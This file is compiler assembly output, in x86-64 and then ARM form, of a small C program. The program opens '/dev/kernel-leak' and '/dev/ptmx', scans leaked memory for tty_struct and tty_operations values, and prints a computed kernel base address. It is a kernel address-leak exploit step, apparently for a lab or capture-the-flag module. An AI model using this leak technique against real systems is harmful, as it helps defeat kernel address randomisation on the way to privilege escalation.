	.file	"28778.c"
	.intel_syntax noprefix
	.text
	.globl	exit_and_log
	.type	exit_and_log, @function
exit_and_log:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rdx, QWORD PTR stderr[rip]
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	fputs@PLT
	mov	edi, -1
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	exit_and_log, .-exit_and_log
	.section	.rodata
.LC0:
	.string	"Failed to malloc\n"
	.align 8
.LC1:
	.string	"buf + 0x%X\t: %lX <------- tty_struct magic\n"
	.align 8
.LC2:
	.string	"buf + 0x%X\t: %lX <------- leak failed\n"
	.align 8
.LC3:
	.string	"buf + 0x%X\t: %lX <------- tty_operations\n"
.LC4:
	.string	"buf + 0x%X\t: %lX\n"
	.text
	.globl	do_leak
	.type	do_leak, @function
do_leak:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	DWORD PTR -36[rbp], edi
	mov	QWORD PTR -8[rbp], 0
	mov	QWORD PTR -16[rbp], 0
	mov	DWORD PTR -28[rbp], 128
	mov	DWORD PTR -24[rbp], 131
	mov	edi, 1280
	call	malloc@PLT
	mov	QWORD PTR -8[rbp], rax
	cmp	QWORD PTR -8[rbp], 0
	jne	.L3
	lea	rdi, .LC0[rip]
	call	exit_and_log
.L3:
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, 1280
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rcx, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR -36[rbp]
	mov	edx, 1280
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	DWORD PTR -20[rbp], eax
	mov	DWORD PTR -32[rbp], 0
	jmp	.L4
.L10:
	mov	eax, DWORD PTR -32[rbp]
	cmp	DWORD PTR -28[rbp], eax
	jne	.L5
	mov	eax, DWORD PTR -32[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	movzx	eax, ax
	cmp	rax, 21505
	jne	.L6
	mov	eax, DWORD PTR -32[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	edx, DWORD PTR -32[rbp]
	lea	ecx, 0[0+rdx*8]
	mov	rdx, rax
	mov	esi, ecx
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L7
.L6:
	mov	eax, DWORD PTR -32[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	edx, DWORD PTR -32[rbp]
	lea	ecx, 0[0+rdx*8]
	mov	rdx, rax
	mov	esi, ecx
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L8
.L5:
	mov	eax, DWORD PTR -32[rbp]
	cmp	DWORD PTR -24[rbp], eax
	jne	.L9
	mov	eax, DWORD PTR -32[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	edx, DWORD PTR -32[rbp]
	lea	ecx, 0[0+rdx*8]
	mov	rdx, rax
	mov	esi, ecx
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -32[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	sub	rax, 17220032
	mov	QWORD PTR -16[rbp], rax
	jmp	.L7
.L9:
	mov	eax, DWORD PTR -32[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	edx, DWORD PTR -32[rbp]
	lea	ecx, 0[0+rdx*8]
	mov	rdx, rax
	mov	esi, ecx
	lea	rdi, .LC4[rip]
	mov	eax, 0
	call	printf@PLT
.L7:
	add	DWORD PTR -32[rbp], 1
.L4:
	cmp	DWORD PTR -32[rbp], 159
	jle	.L10
.L8:
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -16[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	do_leak, .-do_leak
	.section	.rodata
.LC5:
	.string	"/dev/kernel-leak"
.LC6:
	.string	"Failed to open kernel module\n"
.LC7:
	.string	"/dev/ptmx"
	.align 8
.LC8:
	.string	"Found kernel base address at %lX\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	esi, 2
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -16[rbp], eax
	cmp	DWORD PTR -16[rbp], 0
	jns	.L13
	lea	rdi, .LC6[rip]
	call	exit_and_log
.L13:
	mov	esi, 258
	lea	rdi, .LC7[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -12[rbp], eax
	mov	eax, DWORD PTR -16[rbp]
	mov	edi, eax
	call	do_leak
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC8[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -16[rbp]
	mov	edi, eax
	call	close@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"28778.c"
	.text
	.align	2
	.global	exit_and_log
	.syntax unified
	.arm
	.fpu softvfp
	.type	exit_and_log, %function
exit_and_log:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, .L2
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, [fp, #-8]
	bl	fputs
	mvn	r0, #0
	bl	exit
.L3:
	.align	2
.L2:
	.word	stderr
	.size	exit_and_log, .-exit_and_log
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Failed to malloc\012\000"
	.align	2
.LC1:
	.ascii	"buf + 0x%X\011: %lX <------- tty_struct magic\012\000"
	.align	2
.LC2:
	.ascii	"buf + 0x%X\011: %lX <------- leak failed\012\000"
	.align	2
.LC3:
	.ascii	"buf + 0x%X\011: %lX <------- tty_operations\012\000"
	.align	2
.LC4:
	.ascii	"buf + 0x%X\011: %lX\012\000"
	.text
	.align	2
	.global	do_leak
	.syntax unified
	.arm
	.fpu softvfp
	.type	do_leak, %function
do_leak:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	str	r0, [fp, #-32]
	mov	r3, #0
	str	r3, [fp, #-20]
	mov	r3, #0
	str	r3, [fp, #-28]
	mov	r3, #128
	str	r3, [fp, #-16]
	mov	r3, #131
	str	r3, [fp, #-12]
	mov	r0, #1280
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-20]
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	bne	.L5
	ldr	r0, .L14
	bl	exit_and_log
.L5:
	mov	r2, #1280
	mov	r1, #0
	ldr	r0, [fp, #-20]
	bl	memset
	mov	r2, #1280
	ldr	r1, [fp, #-20]
	ldr	r0, [fp, #-32]
	bl	read
	str	r0, [fp, #-8]
	mov	r3, #0
	str	r3, [fp, #-24]
	b	.L6
.L12:
	ldr	r3, [fp, #-24]
	ldr	r2, [fp, #-16]
	cmp	r2, r3
	bne	.L7
	ldr	r3, [fp, #-24]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r3, [r3]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	ldr	r2, .L14+4
	cmp	r3, r2
	bne	.L8
	ldr	r3, [fp, #-24]
	lsl	r1, r3, #3
	ldr	r3, [fp, #-24]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r0, .L14+8
	bl	printf
	b	.L9
.L8:
	ldr	r3, [fp, #-24]
	lsl	r1, r3, #3
	ldr	r3, [fp, #-24]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r0, .L14+12
	bl	printf
	b	.L10
.L7:
	ldr	r3, [fp, #-24]
	ldr	r2, [fp, #-12]
	cmp	r2, r3
	bne	.L11
	ldr	r3, [fp, #-24]
	lsl	r1, r3, #3
	ldr	r3, [fp, #-24]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r0, .L14+16
	bl	printf
	ldr	r3, [fp, #-24]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r2, [r3]
	ldr	r3, .L14+20
	add	r3, r2, r3
	str	r3, [fp, #-28]
	b	.L9
.L11:
	ldr	r3, [fp, #-24]
	lsl	r1, r3, #3
	ldr	r3, [fp, #-24]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r0, .L14+24
	bl	printf
.L9:
	ldr	r3, [fp, #-24]
	add	r3, r3, #1
	str	r3, [fp, #-24]
.L6:
	ldr	r3, [fp, #-24]
	cmp	r3, #159
	ble	.L12
.L10:
	ldr	r0, [fp, #-20]
	bl	free
	ldr	r3, [fp, #-28]
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L15:
	.align	2
.L14:
	.word	.LC0
	.word	21505
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	-17220032
	.word	.LC4
	.size	do_leak, .-do_leak
	.section	.rodata
	.align	2
.LC5:
	.ascii	"/dev/kernel-leak\000"
	.align	2
.LC6:
	.ascii	"Failed to open kernel module\012\000"
	.align	2
.LC7:
	.ascii	"/dev/ptmx\000"
	.align	2
.LC8:
	.ascii	"Found kernel base address at %lX\012\000"
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	mov	r1, #2
	ldr	r0, .L18
	bl	open
	str	r0, [fp, #-16]
	ldr	r3, [fp, #-16]
	cmp	r3, #0
	bge	.L17
	ldr	r0, .L18+4
	bl	exit_and_log
.L17:
	ldr	r1, .L18+8
	ldr	r0, .L18+12
	bl	open
	str	r0, [fp, #-12]
	ldr	r0, [fp, #-16]
	bl	do_leak
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	ldr	r0, .L18+16
	bl	printf
	ldr	r0, [fp, #-16]
	bl	close
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L19:
	.align	2
.L18:
	.word	.LC5
	.word	.LC6
	.word	258
	.word	.LC7
	.word	.LC8
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
